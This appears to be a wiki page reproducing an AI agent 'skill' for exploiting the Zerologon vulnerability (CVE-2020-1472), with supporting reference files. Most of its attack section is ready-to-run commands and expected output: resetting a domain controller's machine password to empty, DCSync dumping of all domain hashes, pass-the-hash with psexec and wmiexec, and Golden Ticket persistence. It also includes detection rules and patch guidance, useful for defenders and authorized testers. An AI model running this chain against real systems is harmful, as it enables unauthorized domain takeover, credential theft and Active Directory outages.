exploiting-zerologon-vulnerability-cve-2020-1472 skill (Anthropic-Cybersecurity-Skills)

From Public Agent Wiki

What it does. Exploits the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream mukul975/Anthropic-Cybersecurity-Skills
Skill file skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md
License Apache-2.0 (skill folder LICENSE)
Author mukul975
Fetched 2026-09-10

Install

  • npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-zerologon-vulnerability-cve-2020-1472, or copy the skill folder into ~/.claude/skills/exploiting-zerologon-vulnerability-cve-2020-1472/.
  • Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md

SKILL.md (verbatim)

name: exploiting-zerologon-vulnerability-cve-2020-1472
description: Exploits the Zerologon vulnerability (CVE-2020-1472) in the Netlogon
  Remote Protocol using Impacket to reset a domain controller's machine account
  password to empty, then runs DCSync via secretsdump.py to dump domain credentials.
  Use when red-teaming or validating unpatched Active Directory domain controllers
  for Zerologon, including restoring the machine account password afterward.
domain: cybersecurity
subdomain: red-teaming
tags:
- zerologon
- cve-2020-1472
- netlogon
- domain-controller
- privilege-escalation
- active-directory
- ms-nrpc
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Platform Monitoring
- Process Code Segment Verification
- Stack Frame Canary Validation
- Segment Address Offset Randomization
- Process Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068

Exploiting Zerologon Vulnerability (CVE-2020-1472)

Overview

Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).

When to Use

  • When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)
  • No authentication required (unauthenticated exploit)
  • Target DC must not have the February 2021 enforcement mode enabled
  • Impacket toolkit installed
  • Written authorization for red team engagement

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Technique ID Name Tactic
T1068 Exploitation for Privilege Escalation Privilege Escalation
T1210 Exploitation of Remote Services Lateral Movement
T1003.006 OS Credential Dumping: DCSync Credential Access
T1078.002 Valid Accounts: Domain Accounts Persistence

Vulnerability Technical Details

Root Cause

The Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:

  1. The IV is hardcoded to 16 bytes of zeros
  2. When the plaintext is 8 bytes of zeros, AES-CFB8 produces a ciphertext of all zeros with probability 1 in 256
  3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed

Affected Systems

  • Windows Server 2008 R2 through Windows Server 2019
  • All domain controllers running unpatched Netlogon service
  • Samba versions < 4.8 (if running as AD DC)

Step 1: Identify Vulnerable Domain Controllers

# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24

# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1

# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon

Step 2: Exploit Zerologon

# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1

# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string

Step 3: DCSync with Empty Password

# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1

# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::

# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
  -just-dc-user Administrator

Step 4: Obtain Domain Admin Access

# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

Step 5: Restore Machine Account Password (CRITICAL)

WARNING: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.

# Method 1: Use the exploit's restore functionality
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
  -hexpass <original_hex_password>

# Method 2: Force machine account password change from DC
# Connect to DC as Administrator and run:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*

# Method 3: Restart the DC (it will auto-regenerate machine password)
# This is the safest method but causes downtime

Detection

Windows Event Logs

Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period

Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt

Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP

Network Detection

# Suricata rule for Zerologon
alert dcerpc any any -> any any (
  msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
  flow:established,to_server;
  dce_opnum:4;
  content:"|00 00 00 00 00 00 00 00|";
  sid:2030870;
  rev:1;
)

Sigma Rule

title: Zerologon Exploitation Attempt
status: stable
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 5805
        LogonType: 3
    timeframe: 5m
    condition: selection | count(EventID) > 100
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2020.1472

Defensive Recommendations

  1. Apply patches immediately - KB4571694 (August 2020) and enforce February 2021 mode
  2. Enable enforcement mode via registry: FullSecureChannelProtection = 1
  3. Monitor Event ID 5805 for repeated Netlogon failures
  4. Deploy Microsoft Defender for Identity (detects Zerologon automatically)
  5. Network segmentation - Restrict direct access to DCs from user networks
  6. Block Netlogon RPC from non-DC systems where possible

References

Other files in this skill

assets/template.md (verbatim)

Zerologon Assessment Report Template

Assessment Details

Field Value
CVE CVE-2020-1472
CVSS 10.0 Critical
Assessment Date YYYY-MM-DD
Target DCs [List of DCs tested]
Assessor [Name]

Findings

Domain Controller Patch Status

DC IP OS Patched Enforcement Mode Exploitable
DC01 X.X.X.X Server 2019 Yes/No Yes/No Yes/No
DC02 X.X.X.X Server 2022 Yes/No Yes/No Yes/No

Exploitation Result

Step Result Timestamp
Vulnerability Check Vulnerable/Patched HH:MM:SS
Machine Account Reset Success/Fail HH:MM:SS
DCSync Success/Fail HH:MM:SS
Password Restoration Success/Fail HH:MM:SS

Impact Assessment

  • Domain Compromise: Full / Partial / None
  • Credentials Extracted: XX hashes
  • Persistence Achieved: Yes / No
  • AD Services Disrupted: Yes / No (and duration)

Remediation

Immediate

  1. Apply KB4571694 on all unpatched DCs
  2. Enable Netlogon enforcement mode
  3. Verify AD replication health

Long-Term

  1. Implement network segmentation for DC access
  2. Deploy Microsoft Defender for Identity
  3. Monitor Event ID 5805 continuously

references/api-reference.md (verbatim)

API Reference: Zerologon (CVE-2020-1472)

Vulnerability Overview

  • CVE: CVE-2020-1472
  • CVSS: 10.0 (Critical)
  • Protocol: MS-NRPC (Netlogon Remote Protocol)
  • Port: 135 (RPC)
  • Impact: Domain Admin without credentials

Attack Mechanism

The Netlogon AES-CFB8 implementation uses a static IV of zero bytes. Sending authentication requests with 256 zero bytes succeeds with probability 1/256 per attempt.

Detection Tools

Nmap

nmap -p 135,445 --script smb-vuln-cve-2020-1472 <DC_IP>

Impacket zerologon_tester.py

zerologon_tester.py DC01 10.10.10.1

CrackMapExec

crackmapexec smb <DC_IP> -u '' -p '' -M zerologon

Patch Information

Microsoft KBs

KB OS Version
KB4571694 Windows Server 2016
KB4571703 Windows Server 2019
KB4571723 Windows Server 2012 R2
KB4571736 Windows Server 2012

Registry Key for Enforcement

HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
FullSecureChannelProtection = 1 (DWORD)

MS-NRPC Protocol

NetrServerAuthenticate3

DCERPC call to \PIPE\netlogon
Function: NetrServerAuthenticate3
ClientCredential: 8 zero bytes
NegotiateFlags: 0x212fffff

Authentication Flow

  1. Client calls NetrServerReqChallenge (sends 8 zero bytes)
  2. Server responds with ServerChallenge
  3. Client calls NetrServerAuthenticate3 (ClientCredential = zeros)
  4. On success (~1/256), client sets DC machine password to empty

Event Log Detection

Event IDs

Event Source Description
5827 Netlogon Vulnerable connection denied
5828 Netlogon Vulnerable connection allowed
5829 Netlogon Vulnerable connection (audit mode)
5830 Netlogon Device allowed by GPO exception
5831 Netlogon Device denied

KQL Detection

SecurityEvent
| where EventID in (5827, 5828, 5829)
| project TimeGenerated, Computer, EventData

Remediation

  1. Apply KB patches immediately
  2. Set FullSecureChannelProtection = 1
  3. Monitor Event IDs 5827-5831
  4. Block RPC port 135 from untrusted networks
  5. Enable DC enforcement mode

references/standards.md (verbatim)

Standards and References: Zerologon CVE-2020-1472

MITRE ATT&CK Techniques

  • T1068 - Exploitation for Privilege Escalation
  • T1210 - Exploitation of Remote Services
  • T1003.006 - OS Credential Dumping: DCSync
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1557 - Adversary-in-the-Middle (Netlogon session hijacking)

CVE Details

  • CVE ID: CVE-2020-1472
  • CVSS v3.1 Score: 10.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-330 (Use of Insufficiently Random Values)
  • Affected Protocol: MS-NRPC (Netlogon Remote Protocol)
  • Patch: KB4571694 (August 11, 2020)
  • Enforcement: February 9, 2021 update

NIST References

CISA References

  • CISA Emergency Directive 20-04: Required federal agencies to patch by September 21, 2020
  • CISA Alert AA20-283A: APT actors chaining Zerologon with other vulnerabilities

Known Exploitation in the Wild

  • APT Groups: Multiple nation-state actors observed exploiting Zerologon
  • Ransomware: Ryuk, Conti operators used Zerologon for domain takeover
  • Timeline: PoC published September 14, 2020; in-the-wild exploitation within 2 weeks

references/workflows.md (verbatim)

Workflows: Zerologon Exploitation

Exploitation Workflow

┌─────────────────────────────────────────────────────────────────┐
│                ZEROLOGON EXPLOITATION WORKFLOW                    │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. RECONNAISSANCE                                               │
│     ├── Identify domain controllers (DNS SRV records)            │
│     ├── Verify network access to DC (TCP 135, RPC)               │
│     └── Check patch status with zerologon_tester.py              │
│                                                                  │
│  2. EXPLOITATION                                                 │
│     ├── Run CVE-2020-1472 exploit (~256 attempts, ~3 seconds)    │
│     ├── DC machine account password set to empty                 │
│     └── Verify exploitation success                              │
│                                                                  │
│  3. CREDENTIAL EXTRACTION                                        │
│     ├── DCSync with empty hash (secretsdump.py -no-pass)         │
│     ├── Extract Administrator NTLM hash                          │
│     ├── Extract krbtgt hash (for Golden Ticket)                  │
│     └── Extract all domain user hashes                           │
│                                                                  │
│  4. DOMAIN ACCESS                                                │
│     ├── Pass-the-Hash as Administrator                           │
│     ├── Access any domain system                                 │
│     └── Create Golden Ticket for persistence                     │
│                                                                  │
│  5. RESTORATION (CRITICAL)                                       │
│     ├── Restore DC machine account password immediately          │
│     ├── Verify AD replication is functioning                     │
│     └── Document exploitation and restoration timestamps         │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Impact Assessment

Zerologon Impact Chain
│
├── DC Machine Account Password Reset to Empty
│   ├── AD Replication BREAKS (secrets no longer sync)
│   ├── DNS may stop functioning
│   ├── Group Policy stops processing
│   └── Kerberos ticket validation fails
│
├── DCSync with Empty Hash
│   ├── ALL domain password hashes extracted
│   ├── krbtgt hash = Golden Ticket capability
│   └── Service account hashes = lateral movement
│
└── Full Domain Compromise
    ├── Administrator access to all systems
    ├── Ability to create/modify any account
    └── Complete control over Active Directory

RED TEAM WARNING: Always restore the DC machine account password immediately after exploitation. Failing to do so will cause Active Directory to break, potentially causing a production outage.

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.